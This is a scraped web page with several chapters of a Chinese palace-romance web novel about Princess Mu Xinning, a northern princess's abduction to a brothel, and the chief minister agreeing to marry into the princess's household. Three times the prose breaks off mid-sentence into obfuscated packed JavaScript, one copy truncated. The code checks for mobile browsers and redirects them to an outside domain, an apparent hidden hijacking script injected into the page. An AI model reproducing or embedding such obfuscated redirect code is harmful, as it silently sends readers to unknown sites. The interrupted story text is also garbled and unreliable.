赫连儒:“信与不信,那就是你们的事情了,本王的态度已经表达的很清楚。” “假的,他胡说的。”宋菀菀扑到晏骁寒跟前:“骁寒,你一定要相信我,我心里……” 即墨上前一步,将人挡住,宋菀菀连晏骁寒的一片衣角都没碰到。 赫连儒眼底尽是嘲讽,无论如何,宋菀菀是一定要嫁给他的,将来宋菀菀跟他回北赫,还不是要仰他鼻息过活? 当着他的面向别的男人诉说衷肠,把他的颜面置于何地,他能给宋菀菀好日子过才怪。 怪不得宋菀菀被慕馨宁算计至此,就这脑子,慕馨宁没要了她的命,估计是心慈手软了。 “闭嘴!” 太后一拍桌案,宋菀菀一个哆嗦。 看着太后一脸阴沉,宋菀菀崩溃:“母后,都怪你没有杀了慕馨宁,让她越来越猖狂,她现在算计到了我的身上,你满意了吧!” 说完,宋菀菀呜呜咽咽的跑了出去。 太后一口气差点没上来,芝嬷嬷连忙上前,给她的后背顺气:“太后息怒,没准这其中真有什么误会。” 永平帝站起身:“母后身体不适,还是好好休息,朕这就与礼部商讨与北赫联姻之事。” 太后原本还有一瞬间的欣喜,本以为永平帝说的是易王娶赫连伊的事情,看见永平帝眼里一闪而过的狡诈,心顿时凉了半截。 “皇上,莞儿的事情还有待商榷。” 永平帝:“那母后好好商议,今日在新亭湖的可还有其他五国使臣,此事处理不好,怕是要闹出天大的笑话来了。” 所以,为了东陵的颜面,宋菀菀是必须要嫁到北赫的。 待皇帝和晏骁寒离开,太后问明了新亭湖那边的情况之后,气的差点吐出一口老血,还是芝嬷嬷又是给她顺气,又是各种安慰。 太后的情绪好不容易缓和几分,宋菀菀又跑了回来,她扑到太后膝前,哭的一把鼻涕一把泪:“母后,你快给儿臣想个办法,儿臣死也不会嫁到北赫,都是那个慕馨宁……” 宋菀菀一脸怨愤,话还没说完,太后忍无可忍,直接狠狠给了她一个耳光。 宋菀菀捂着脸,眼里含泪,一脸委屈:“母后,你打我……” 太后怒目圆瞪:“你明知道慕馨宁会跟你过不去,你竟然还出去招摇,且对她毫无防备,你的脑子里头装的是什么?” 宋菀菀心里苦不堪言,她已经落得这般境地,又失了清白,太后不但不安慰她,还对她一顿打骂指责,早知道这样,她当初还不如在庄子上待一辈子! “太后息怒,事已至此,还是想个解决的法子吧!”芝嬷嬷给太后上了一盏参茶。 太后喝了一口,才又缓了缓心神:“事已至此,让礼部着手安排莞儿与北赫皇太孙的婚事吧……至于易王和北赫公主,只能就那么算了……” 宋菀菀嫁去北赫,永平帝和晏骁寒无论如何也不会再允许易王娶北赫的公主。 若是她执意再让易王娶北赫公主,那她的野心岂不是昭然若揭了,文武百官和天下的百姓也会对她诟病。 原本她已经打算好了宋菀菀的婚事,就等各国使臣离开东陵之后就着手操办,只可惜出了这样的事情。 太后又病了一场,芝嬷嬷磨破了嘴皮子,太后这才想开,于是又召了赫连儒商议两国的婚事,赫连儒在景阳宫待了大半日,用了饭才走。 “那个**的手伸的未免也太长了,哀家不给她一个教训 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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赫连伊脸上的笑更灿烂几分:“若是长公主能助我一臂之力,自然能事半功倍,到时候少不了长公主的好处。” 她说着,一双眼睛仔细观察着慕馨宁的表情。 慕馨宁面色如常,语气淡淡:“这种事情本宫怎么管得着,北赫公主还是再想别的法子吧。” 惦记她的未婚夫,还想让她牵线搭桥,到底是赫连伊傻,还是她慕馨宁傻? “殿下,首辅大人来了。” 北赫公主正不知该说什么,门口响起刘营的声音,随即那抹白色人影就走了进来。 晏骁寒一身白色长衫,玉冠束发郎艳独绝,慕馨宁看一眼就陷了进去。 这厮还是头一次穿如此颜色的衣衫吧,简直是仙气十足,又让人忍不住想要亵渎。 赫连伊也被晏骁寒的风月之姿所折服,但是并没有慕馨宁那般失神,她起身,朝着晏骁寒盈盈一笑:“晏首辅,我们又见面了。” 晏骁寒看了她一眼:“北赫公主怎么在这里?” 赫连伊:“我与长公主很是投缘,特意带着家乡的特产来拜见。” 晏骁寒看着地上那一箱子的金银珠宝,很快就猜到了什么,看慕馨宁的目光不由得冷了几分。 这女人不会为了这些身外之物,就想将他拱手相让吧,她要是敢,他定要让她悔不当初! 慕馨宁心里再不舍那一箱子的珠宝,还是对赫连伊道:“北赫公主的心意本宫领了,无功不受禄,这些您还是带回去吧。” 赫连伊眸光一闪,笑着道:“这点东西只是我的一点心意,就当感谢长公主对皇太孙的照顾,长公主何必推让。” “北赫公主想的太简单了,这种事情要是传出去,没准明日本宫又会被大臣们**,说本宫收了你的珠宝,有意与北赫勾结。” 慕馨宁的目光又落在晏骁寒身上:“是吧,首辅大人?” 她敢打赌,她收了赫连伊这些东西,第一个带头**她的,就是晏骁寒。 晏骁寒语气冷淡:“你知道就好。” 慕馨宁忍着心头的火气,目光落在刘营身上:“你怎么回来了,大理寺那边怎么说?” 刘营便道:“说是查到了一点线索,确定与属下没有关系,大理寺就放属下回来了。” 其实还是要多谢晏骁寒,要是这案子没有晏骁寒盯着,他不会这么轻易脱身。 慕馨宁点头:“那就好。” 晏骁寒径自坐在一旁,喝了口茶问她:“晚上吃什么?” 慕馨宁侧头看杜若,杜若道:“麻辣香锅,干烧鱼,拔丝芋头,炒芙蓉肚,红椒牛柳,还有一个菌菇汤。” 慕馨宁随口就问了晏骁寒一句:“你有什么想吃的?” 晏骁寒:“剁椒鱼头,不要剁椒。” 慕馨宁:“……” 杜若连忙下去安排。 赫连伊喝了口茶,心头说不出什么滋味。 外头传言晏骁寒与慕馨宁的关系很不好,水火不容势不两立,两个人的婚约只是个笑话,没想到传言真的只是传言,晏骁寒在公主府竟然随便用饭,随意点菜,和自己家一样。 她放下茶盏,站起身来:“时候不早了,我就先回梧台了。” 慕馨宁点头起身:“本宫送北赫公主。” 赫连伊面色一僵,慕馨宁都跟晏骁寒当着她的面商议晚上吃什么,慕馨宁竟然不主动留她用饭,这就是长公主待客之道? “怎么没看见儒儿,也不知道这几日他住在这里是否习惯?”赫连伊故意提及赫连儒,然后暗暗观察晏骁寒的脸色。 慕馨宁对她如此疏远冷淡,怎么偏偏对赫连儒那么好,这其中是不是有什么不可告人的原因? 她不相信,晏骁寒这么聪明,会对慕馨宁没有怀疑。 可是晏骁寒脸上并瞧不出喜怒来,也没有回应她的话。 慕馨宁:“他在这里吃的好睡得香,北赫公主不用惦记。” “晏首辅,我们改日再聚。”赫连伊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709118|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又看了晏骁寒一眼。 晏骁寒只是微微颔首,并未起身相送,这让赫连伊心里更不痛快了。 “来人,将北赫公主送来的东西抬回去。” 慕馨宁正窃喜,赫连伊走的时候并没带那一箱子珠宝,左右她也没答应赫连伊什么,还以为捡了个便宜,忽然听见晏骁寒这话,顿时一阵惋惜。 赫连伊脸色微变,加快了脚步,她不信晏骁寒不明白她的意思,既然明白,却又为何半点颜面也不给? 慕馨宁刚送走赫连伊,就见大理寺孟大人和一群官兵羁押这一个男人路过府门口。 孟大人恭敬的和慕馨宁打招呼,慕馨宁问他:“这是怎么回事?” 孟大人:“杀害华二公子的人已经抓到了。” 慕馨宁打量那人一眼,那人慌乱的侧过了头。 “怎么有点眼熟?” 孟大人:“勤王府的人,说是与华二公子发生了些矛盾,这才下了黑手。” 慕馨宁眉头紧皱,觉得事情应该并不是这么简单,毕竟,王侯将相之家,颠倒黑白的本事可是比吃饭还容易。 忽然想起之前南阳郡主一副言之凿凿的样子指责她让人杀了华力强的情形,慕馨宁嘴角一笑:“正巧遇见孟大人,本宫也知晓一件**,不如孟大人请进府内稍坐片刻。” 孟大人揉了揉鼻子,长公主能知道什么**,没准**都是长公主制造的。 有人连忙到孟大人耳边小声嘀咕了几句,孟大人当即就道:“下官领命。” 果然,一进花厅,就看见晏骁寒正端坐着喝茶,孟大人连忙恭敬的行礼。 晏骁寒看向慕馨宁:“怎么了?” 慕馨宁示意下人给孟大人倒茶,然后才缓缓开口:“这几年,勤王府发生了不少见不得人的事情,本来本宫是不想管的,可勤王府有一位姨娘,还是母后的远房亲戚。” 孟大人看了晏骁寒一眼,慕馨宁和太后的关系可不怎么样吧,这个时候她怎么会好心替太后的远房亲戚申冤? 第125章 沦落青楼 慕馨宁摩挲着茶盏盖子上的海棠花纹,继续道:“这位姨娘已经怀胎十月,却被人陷害与勤王府的马夫有染,勤**怒,以至于那位姨娘刚刚生下孩子就一条白绫上了吊,留下了嗷嗷待哺的小娃娃。” 孟大人犹豫了一下:“长公主可有那位姨娘被陷害的证据?” 慕馨宁:“那个马夫,不是还活的好好的?” 孟大人看了一眼晏骁寒的脸色,晏骁寒虽然什么也没说,但是态度已经很明显。 这个时候,孟大人也算回过味儿来,勤王府的人杀了华力强,可未必就是因为个人恩怨,没准就是南阳郡主为了陷害慕馨宁才指使下人做的。 所以慕馨宁这个时候,是打算回南阳郡主一份大礼了。 一盏茶喝完,孟大人拱手告辞。 公主府的晚饭很丰盛,又有晏骁寒在。 有句话叫秀色可餐,慕馨宁一边盯着晏骁寒俊脸一边吃饭,一口气吃了三大碗。 看着自家主子眼睛都要黏在晏骁寒身上了,杜若都有些看不下去了。 慕馨宁打了个饱嗝,往晏骁寒跟前挪了挪:“晚上不走了吧?” 赫连儒差点一口茶喷出来:“长公主能不能矜持些,本王还在这里。” 慕馨宁瞪了赫连儒一眼:“矜持,别忘了你白天干了什么,还跟本宫谈矜持。” 赫连儒抬手抹了一把辛酸泪,哦不,应该是辛酸汗。 他无奈的叹气,然后继续埋头苦吃,剁椒鱼头和干烧鱼的味道太好了。 先不考虑杀不杀长公主的事情了,他打算回北赫的时候找长公主要个厨子。 之前吃的那个粉蒸肉、醉排骨、松鼠桂鱼、铁板鱿鱼等等,简直是太好吃了,等回了北赫他要吃个够! “长公主,晏首辅,不好了,北赫公主被人掳走了!” 慕馨宁正琢磨晚上怎么把晏骁寒给拿下,一个侍卫浑身是血的从外头冲了进来。 慕馨宁脸色一变,这北赫跟东陵已经议和,联姻之事也谈的差不多了,要是北赫公主有个三长两短,那她岂不是吃不了兜着走? 她心急如焚,可没等开口,连打了三个饱嗝。 赫连儒连忙放下筷子:“怎么回事,我小姑怎么可能被掳走,你们干什么吃的!” 那侍卫捂着自己的伤口苦着脸道:“那些个人手段卑鄙,竟然用**,卑职也是防不胜防啊!” 晏骁寒脸色如常,慢条斯理的用帕子擦了擦嘴角:“加派人手全城寻人。” “你觉得这件事,会是谁做的?”慕馨宁还想喝口茶压压惊,可是感受到快要撑爆的肚子,又只能将茶水放下。 晏骁寒起身:“还能有谁。” “我去瞧瞧。” 慕馨宁也想跟着一起去,晏骁寒对她道:“你去没用,好好休息,我去就好。” 慕馨宁扯住他的袖子,关心道:“那你一定要小心。” 赫连儒喝了半盏茶:“本王与晏首辅一起。” 还没等晏骁寒表明态度,慕馨宁脸色一变:“不行,你离他远点!” 赫连儒:“……” 夜色已深,慕馨宁已经困的睁不开眼,也没上床,她靠在桌案上摆弄一旁的油灯。 “人还没找到吗?” 杜若也努力睁大即将合上的眼皮:“主子别担心,首辅大人不是亲自去了,刘大哥也带人去找了。” 慕馨宁没再多说,也不知道过了多久,刘营终于回来了,说人找到了。 慕馨宁松了口气问他:“在哪里找到的?” 刘营脸色古怪:“在……楚鸿楼……” 慕馨宁不可置信,困意都没了:“楚鸿楼?” 那不是京城最出名的青楼吗,赫连伊怎么会在那里? 刘营挠了挠头:“这个不重要,重要的是……首辅大人亲自带人去救人,看见了北赫公主被人……衣衫不整的样子……” 慕馨宁的太阳穴突突直跳,北赫尊贵的公主沦落到青楼已经够惨了,还差点失身,又被晏骁寒给救了,关键晏骁寒还是赫连伊的心仪之人。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15721973|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这件事解决不好,还会挑起两国的矛盾,那么唯一的办法,估计是只能让晏骁寒娶赫连伊了。 慕馨宁心里很不是滋味,她还没把人弄到手,就已经被别人惦记上了。 “殿下您放心,首辅大人他绝对不会答应这件事的。”刘营见慕馨宁脸色不好,开口安慰。 慕馨宁揉了揉太阳穴,然后对刘营道:“你找几个人,去本宫的库房把所有值钱的东西点一点,整理好。” 要不是没闻到酒味,刘营还以为慕馨宁是在说胡话:“殿下想做什么?” 慕馨宁眼里闪过一抹狡黠:“去办就是了。” 次日早朝,文武百官在金銮殿上吵翻天,说的就是北赫公主被人撸到青楼的事情。 北赫使臣就在金銮殿外,要求永平帝尽快给他们一个满意的交代。 “皇上还是取消首辅大人与长公主的婚约吧,毕竟首辅大人看见了北赫公主……只要促成二人的婚事,这眼下的麻烦就迎刃而解了!” “臣附议!” “臣也附议!” 永平帝眼皮直跳,看了看晏骁寒阴沉的脸色,感觉头疼的厉害。 “爱卿,你可有什么解决的办法?” 晏骁寒:“信武侯的人马早就与虞放汇合,若是与北赫交战,胜算更大。” 文武百官一脸不可置信,明明娶了北赫公主就能解决的事情,何必大动干戈。 “皇上,此事不可啊,就算两国交战,就算东陵国胜算更大一些,但是定要面临军需消耗和将士伤亡的问题,东陵国库空虚,若是供应不上军需,边关十几万兵马怕是要饿死啊!” 永平帝一阵头痛欲裂。 北赫公主没出意外的时候,晏骁寒都没有要娶她的打算,如今沦落到青楼那种地方,又差点失身,再让晏骁寒娶她,他与晏骁寒岂不是就有了芥蒂,生了隔阂? “皇上……不好了,北赫公主自尽了……” 外头传来太监尖细的声音,永平帝脸色一变:“太医,快传太医去梧台!” 第126章 入赘公主府 那传话的太监急匆匆进来:“皇上别急,幸好下人及时发现,那北赫公并没有生命危险。” “北赫公主让人来传话,除非皇上给她和晏首辅赐婚,否则要么她死,要么就北赫出兵啊!” 文武百官惊住了,他们虽然对北赫公主不了解,但是也听说北赫公主是个温柔端庄通情达理之人,这怎么还能做出威胁皇上的事情? 但是再深思一些,北赫公主已经颜面尽失,怕是也没有脸面回北赫了,她也只能冒死,给自己寻个如意郎君了。 永平帝茶水端到嘴边,又放下,看晏骁寒的目光带了几分恳求:“爱卿,这到底是我东陵的责任,就算是东陵与北赫交战,也是师出无名……” 所以唯一的办法,只能让晏骁寒娶了她。 晏骁寒怎么能不明白眼下的局势,若是他与慕馨宁没有婚约,不过就是一个北赫公主,养着就是了,可是这件事,让慕馨宁情何以堪? 晏骁寒:“那臣与长公主的婚约,又该如何?” 金銮殿一片安静,毕竟二人这婚约也是永平帝定下来的,君子一言九鼎,永平帝怎么好反悔,永平帝这是被架在了火上烤。 其实解决的办法也很简单,只要晏骁寒主动开口取消和慕馨宁的婚约,永平帝就有了台阶。 只可惜,晏骁寒并没有要与慕馨宁取消婚约的意思。 永平帝坐在龙椅上,不停转动手上的扳指,忽然灵光一现,晏骁寒不主动取消和慕馨宁的婚约,那就让慕馨宁开口不就成了,他早就看出来了,慕馨宁并不是真心喜欢晏骁寒,只要他给慕馨宁一些补偿…… 永平帝正琢磨着,外头又进来一个侍卫:“启禀皇上,今日一早长公主带着人敲锣打鼓的去晏首辅府上下聘了!” 永平帝差点没一口老血吐出来:“你说什么?” 那侍卫又将之前的话重复了一遍,金銮殿顿时一阵吵吵嚷嚷。 “成何体统,成何体统,这若是男女通婚,不是应该男方给女方下聘么?” “长公主这是什么意思,难道是让首辅大人入赘长公主府不成?” “皇上……皇上……” 贵公公忽然惊呼一声,众人一惊,就见永平帝两眼一闭直接昏了过去。 金銮殿的早朝,在一阵兵荒马乱中结束的。 不知道过了多久,永平帝再醒过来的时候,就看见了太后眼里一闪而过的嘲弄。 虽然北赫公主如何沦落到青楼之事还没查清楚,但是永平帝觉得,这件事肯定跟太后脱不了关系。 “皇上醒了,感觉如何,太医快来给皇上瞧瞧。” 太后见永平帝醒了,顿时一脸关心。 太医上前给永平帝把脉:“太后娘娘放心,皇上只是急火攻心,如今又天气炎热所以才会导致昏厥,只要好好调养,并无大碍。” 永平帝心里冷笑,太后怎么会放心,她是恨不得他早死,然后让易王继承他的皇位吧。 “皇上,北赫使臣来请辞,说是要回国啊!”贵公公擦着额头的汗,急匆匆的进来。 现在赫连儒和宋菀菀的婚事还在商议,赫连伊的事情还没解决,北赫使臣这个时候要走,对东陵可没有半点好处,没准北赫使臣一回国,就要对东陵开战了。 此时,晏骁寒已经打马回府。 没等到府门口,就看见了黑压压的人群将门前的路已经堵的水泄不通。 不只黑压压的人群,还有上百个装了东西的大小不一的箱子,整条街都有些放不下。 即墨下巴都要惊掉了,虽然长公主给晏首辅下聘的事情有些过于儿戏,可是这么多‘聘礼’也是大手笔了。 刘营拿着一张烫金礼单正在高声念着:“公主府聘礼:黄金五万两,白银十万两,良田三百亩,铺面二十间,各种金银玉器一百件,上等绫罗绸缎三百匹……” 原本大家只是在看热闹,毕竟长公主给首辅大人下聘,那可是倒反天罡,可是听着听着,不由得又羡慕起晏骁寒来。 “长公主果然财大气粗,六十万两白银,还有各种稀世珍宝,你瞧瞧那对紫珊瑚……我这辈子都没见过!” “哎呦首辅大人也真是好福气,听说他没考上状元之前就是一个穷书生,这可真是祖坟冒青烟了,如今不但是一人之下万人之上,还得了如此天价的聘礼!” 慕馨宁今日特意做了盛装打扮,一身大红色金丝绣缠枝牡丹裙装,头戴嵌八宝金冠,就那么站在太阳底下,整个人都散发着富贵的宝光。 赫连儒靠在阴 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“给本官下聘?”他脚步停在慕馨宁面前,似笑非笑的盯着她。 慕馨宁吸了口气,抬头对上他深邃的眸子:“当然,听说有人惦记上了你,所以本宫也只好先下手为强了。” 晏骁寒轻笑一声,面色却看不出喜怒:“你觉得,本官会入赘公主府?” “喜欢你给你下聘是本宫的自由,接受或拒绝本宫的爱意,是你的自由。” “长公主,你如此让首辅大人难堪,竟然还口口声声说是喜欢他,简直就是天大的笑话。” 人群中传来一道熟悉的声音,慕馨宁一侧头,就看见了崔惜颜。 有人觉得她这话说的有道理,当即就附和道:“可不是,自古哪个男人愿意去女方家入赘,那大多都是穷困潦倒好吃懒做的男人,首辅大人文可提笔定天下,武可上马定乾坤,怎么会入赘公主府?” 慕馨宁瞧了崔惜颜片刻,嗤笑一声:“也不照照镜子瞧瞧自己是什么德行,还有空来说本宫的是非,有这个时间,还是想想怎么嫁进安国公府做世子侧妃吧,毕竟一个侍妾都先你一步进了门。” 第127章 差点吐血! 慕馨宁这话狠狠地刺进了崔惜颜的心窝子,崔惜颜气的胸口疼的厉害。 她落得如此下场,还不是拜慕馨宁所赐。 若是哥哥没有死,若是皇上没有拿到父亲的罪证,若是那十五万大军兵权还好好握在父亲手里,若是侯府没有失火没有失窃那十万两的黄金…… 若是信武侯府还如往日一样举足轻重 ,她也不会如此被国公府贬低羞辱。 慕馨宁所做的恶事,简直是罄竹难书。 崔惜颜咬牙,即使她被慕馨宁羞辱的体无完肤,即使众人看她的目光都满是嘲弄,但是她依旧不想就这么离开。 她要眼睁睁看着晏骁寒如何下慕馨宁的面子、跟慕馨宁退婚,如何让慕馨宁成为整个京城乃至整个天下的笑话! 见崔惜颜终于安分了,慕馨宁也不再理会她。 她将目光重新落在晏骁寒身上,一脸深情:“本宫知道这么做让你丢了颜面,可是本宫也没法子,毕竟本宫……是真心喜欢你的……” 说着,慕馨宁还抽泣两声,可是眼角并没有半滴眼泪:“本宫知道,你是有意娶北赫公主过门的,你将来若是入赘公主府,本宫不介意让她与本宫平起平坐。” “咳咳咳……”一旁看热闹的赫连儒被自己的口水呛到。 慕馨宁让晏骁寒入赘也就算了,还想让赫连伊也一起入她的公主府,这真是恶心人恶心到家了。 偏偏慕馨宁还是一副对晏骁寒一往情深的样子。 姬无忧连忙抖了抖身上的鸡皮疙瘩,慕馨宁的无耻真是超乎了她的想象,他要是有慕馨宁的本事,何必在外头吃十几年的苦头。 慕馨宁斜了这两个二货一眼,低头用帕子擦了擦眼角根本不存在的眼泪,她的戏演完了,接下来就是晏骁寒与她反目成仇取消婚约的时刻了吧。 虽然她心中有些不舍,但是她绝对不会跟赫连伊共侍一夫。 既然婚约是晏骁寒主动取消,两个人没了关系,那待各国使臣的送行宴上,她还是要争取回梧州的。 到时候她就在宴会上、众人跟前,再上演一场苦情戏,晏骁寒和永平帝为了颜面,估计还是可能会放她离开的吧? 就在慕馨宁沉思时,手腕忽然多了一只大手。 她诧异的抬头,对上晏骁寒戏谑的目光:“真的心悦本官,想和本官白头偕老?” 慕馨宁眼里闪过一抹心虚,还是郑重的点了点头:“当然,要是没有你,我以后的日子可怎么活啊……” 晏骁寒深邃的眸子里多了几分兴致:“那为何让本官入赘公主府,你嫁过来不是一样的?” 慕馨宁心里头顿时委屈起来,她眼里终于有了泪光:“本宫好歹也是长公主,你要娶别的女人做平妻,本宫已经做了退步,本宫不要颜面的吗?” 围观的百姓听了慕馨宁这话,顿时也觉得慕馨宁说的竟然有几分道理,心里不免又对慕馨宁多了几分同情。 眼看着,慕馨宁的眼泪就要落下,晏骁寒心里顿时复杂起来,跟他演戏能演到这个份上,也是难得。 “好,本官答应你。” 慕馨宁原本等着晏骁寒跟她翻脸,忽然听见这话,顿时一脸不可置信。 晏骁寒抽出她手里的帕子,替她擦了擦脸上滑落下来的眼泪,在她的一脸惊愕中,又重复道:“本官,愿意入赘公主府。” 慕馨宁:“……” 这怎么可能,她耳朵一定是出问题了,骄傲的不可一世的首辅大人,竟然心甘情愿入赘她的府上? 即墨心都碎了,他的主子是真的疯了吧? 晏骁寒侧头看他:“愣着做什么,把库房收拾出来,让人将长公主的聘礼抬进去。” 即墨:“……” 慕馨宁眼睁睁看着自己的真金白银和各种珠宝等全部进了晏骁寒的库房。 她心痛的无法呼吸,那可是她的全部家当,为了撑场面,为了演技逼真,她连自己的私房钱都添上了,公主府所有值钱的东西都在这里。 这一下,公主府的午饭都没了着落,下人的月银还没发,手下私兵的军饷也被她败光了,她还答应给虞放五万两银子添补军需,她还说要办一场晚宴招待各国使臣…… 不远处,崔惜颜还没有离开,她就在穿梭的人群中一动不动。 她一把抓住自己身边的丫鬟:“你说晏骁寒愿意入赘公主府,是真是假?” 丫鬟嘴角蠕动:“真的。” 这么多人看着,这聘礼还在往晏首辅的府上抬,能是假的吗? 崔惜颜脸色阴沉的可怕,晏骁寒为什么会这么做,他不要颜面的吗,他不应该狠狠的给慕馨宁一巴掌,骂她不知廉耻,然后跟她取消婚约吗? 事情怎么会变成这样? 丫鬟看着崔惜颜阴冷的脸色,心里直打鼓,说了不少好话才把人给糊弄回了侯府。 “主子,主子你怎么了?” 府门口,看着慕馨宁捂着胸口蜷缩着身子靠在墙根底下,杜若连忙上前,一脸担忧的询问。 慕馨宁抬头,对上了晏骁寒狡黠的目光,差点吐血。 “你可是答应本宫要入赘公主府的,你要是敢反悔,这些聘礼都得还给本宫。”慕馨宁还抱有最后一丝希望。 晏骁寒不以为然:“当然。正巧本官觉得这府上有些破败,需要修整,公主府雕栏玉砌,建筑恢宏,能入住公主府,本官乐意之至。” 慕馨宁心头梗了一口血,都不知道是怎么回的公主府。 她觉得自己已经够厚颜无耻了,没想到晏骁寒竟然比她还无耻。 肚子饿的咕咕叫,看着眼前青青绿绿的菜叶子,慕馨宁一点胃口都没有。 “主子,您好歹留点银子啊,这午饭还能有个着落,晚上大家可能就要吃糠咽菜了。” 杜若也快哭了,自打跟了长公主,她还是头一次靠咸菜下饭的。 慕馨宁握了握拳头,恨的磨牙:“本宫的那些个东西,折合成银子,得有八十万两了吧?” 杜若沉默,头却点个不停。 慕馨宁有些崩溃,八十万两银子的聘礼,晏骁寒是傻了才会拒绝,傻的明明是她。 接下来,杜若的话更扎慕馨宁的心:“其中有三万两黄金,是萧蘅那边的金矿送过来的,您还答应分皇上一半,首辅大人一成……” 第128章 得不偿失 此时此刻,慕馨宁是真想找块豆腐撞死了。 她忽然又想到了什么,抓到了一根救命稻草:“玄翎好像许久没有回来了,他最近在忙什么?” 慕馨宁话音刚落,面前忽然多了一沓银票:“也就是你缺钱的时候,才会想起我吧?” 慕馨宁顿时一脸惊喜,她将面前的银票数了数,大概有两万两。 有了这些钱,暂时可以维持公主府的正常运转了。 “玄翎,你太好了,我要给你娶十个媳妇!”慕馨宁紧紧握着那一沓银票,看玄翎的目光都灼热起来。 玄翎心跳慢了半拍:“别用这种眼神看我,不然我还以为你今晚要让我侍寝。” 慕馨宁:“……那你想多了。” 等玄翎走了,慕馨宁心思就活络起来:“杜若,你说他喜欢什么样的女孩子,他和玄翊还有军营许多将士们早就到了成婚的年龄,这件事公主府是不是也该上上心?” 杜若歪着脑袋想了想:“别人奴婢不知道,玄翎就喜欢那种羞涩的,单纯的……” 慕馨宁瞪大眼睛,一脸怀疑:“你怎么知道?” 杜若不过是情窦初开的年纪,她知道什么是喜欢什么是爱? 杜若一脸认真的道:“反正奴婢就看见,越是看玄翎害羞的姑娘,玄翎越喜欢调戏,就之前,玄翎摸过白栀的手,还捏过蓝秀的下巴。” 慕馨宁慎重琢磨了一下,让杜若喊了杨嬷嬷来。 杨嬷嬷原本正在刷马桶,听杜若说长公主喊她,她连忙回去沐浴更衣,这才急匆匆的来见。 “长公主,老奴见过长公主!” 杨嬷嬷见了慕馨宁,就要屈膝跪下。 慕馨宁上前把人扶住:“不用跟本宫客套,之前的事情,是本宫误会了你,你不要放在心上。” 当初夏千川进府,慕馨宁独宠他一人,杨嬷嬷多次劝诫说夏千川不安好心且身份不明,让慕馨宁当心。 原本慕馨宁没放在心上,不过这件事被夏千川知道,他寻了个错处就让杨嬷嬷去刷马桶扫茅厕。 这几个月杨嬷嬷从未露面,慕馨宁看着她苍老好几岁的那张脸,就知道她受了不少磋磨,心里头很是愧疚。 要不是她身边要用人,怕是还不知道什么时候才想起杨嬷嬷来:“以后您的月银翻倍,府里你来掌事。” 听慕馨宁这么说,杨嬷嬷心里一阵感动:“长公主,您还能想起老奴来,就是老奴的荣幸,老奴的这条命都是您的,谈不上什么委屈不委屈。” 慕馨宁点头,交代了杨嬷嬷几句,杨嬷嬷立刻就去办了。 慕馨宁怕黑,所以天色渐渐暗下来时,公主府便灯火通明。 月亮躲在云层里,夜空中只有几颗星星,散发着微弱的光。 白栀敲响玄翎房门时,玄翎刚沐浴完。 他开门,看见白栀一脸羞涩的样子,有些好奇:“你怎么来了?” 白栀低着头:“杨嬷嬷让奴婢来伺候统领大人。” 原本玄翎没有多想,当他看见白皙身上薄的几乎透明的衣衫,面色微变:“杨嬷嬷?” 白栀点头:“杨嬷嬷现在掌管公主府的内宅之事。” 玄翎面色一变:“所以,这也是阿宁的意思?” “奴婢……奴婢不知……” ‘阿宁’两个字,让白栀心里说不出的滋味。 又想起她来的目的,白栀的脸红的仿佛能滴出血来。 “进来。” 房门关上,里头又传来玄翎沉闷的声音:“脱吧……” 主院。 慕馨宁睡前,还特意叫了杨嬷嬷来。 “玄翎那边如何?”不是她好事,就是担心哪里不妥, 杨嬷嬷就笑道:“长公主放心,老奴特意在外头听了听,年轻人的体力就是好……” 慕馨宁点了点头,让杨嬷嬷退下了。 玄翎每次一出现,想起前世今生,慕馨宁总觉得亏待他,既然玄翎喜欢白栀和蓝秀,只要白栀和蓝秀愿意,她定然会成全玄翎。 慕馨宁挪枕头的时候,手不经碰到那颗鸡蛋大小的钻石,她想了想,又喊了鸦羽来。 “明日一早,把这颗金刚石给玄翎,让他卖了吧。” 鸦羽有些吃惊:“主子,您不是很喜欢它,怎么要卖了?” 这可是慕馨宁冒死才,得到的彩头。 慕馨宁躺在床上抱着被子叹气:“公主府所有家产都被我败光了,那么多人都等着公主府养,也不能总靠玄翎一人硬撑着。” 她还欠永平帝一万五千两黄金,晏骁寒三千两,这件事不能耽搁,若是被永平帝怀疑自己私吞金矿,那就麻烦了。 “是。”鸦羽答应一声,就要退下。 “等等。”慕馨宁翻了个身:“你喊个人,让他去晏骁寒府上传个话。” 既然她不好过,晏骁寒收了她全部家当,那也别想着好过。 慕馨宁嘴角勾了勾,迟早有一日,晏骁寒定会主动跟她取消婚约,主动把她的聘礼还回来。 在这之前,她还是要多讨一些利息才是。 晏骁寒府上,书房里。 晏骁寒一身黑色锦衣,冷肃着一张脸坐在首位,两侧的椅子上坐满了人。 这些人不是他的下属和学生,就是他的谋士。 “大人,虽然您收了长公主那么多金银财宝,可是这要是传出去,还是不大好听吧?”下首,有人担忧的开口。 又有人想给晏骁寒找回面子,于是没好气的道:“有什么不好听的,真金白银才是实实在在的,外头那些个流言蜚语算什么?” 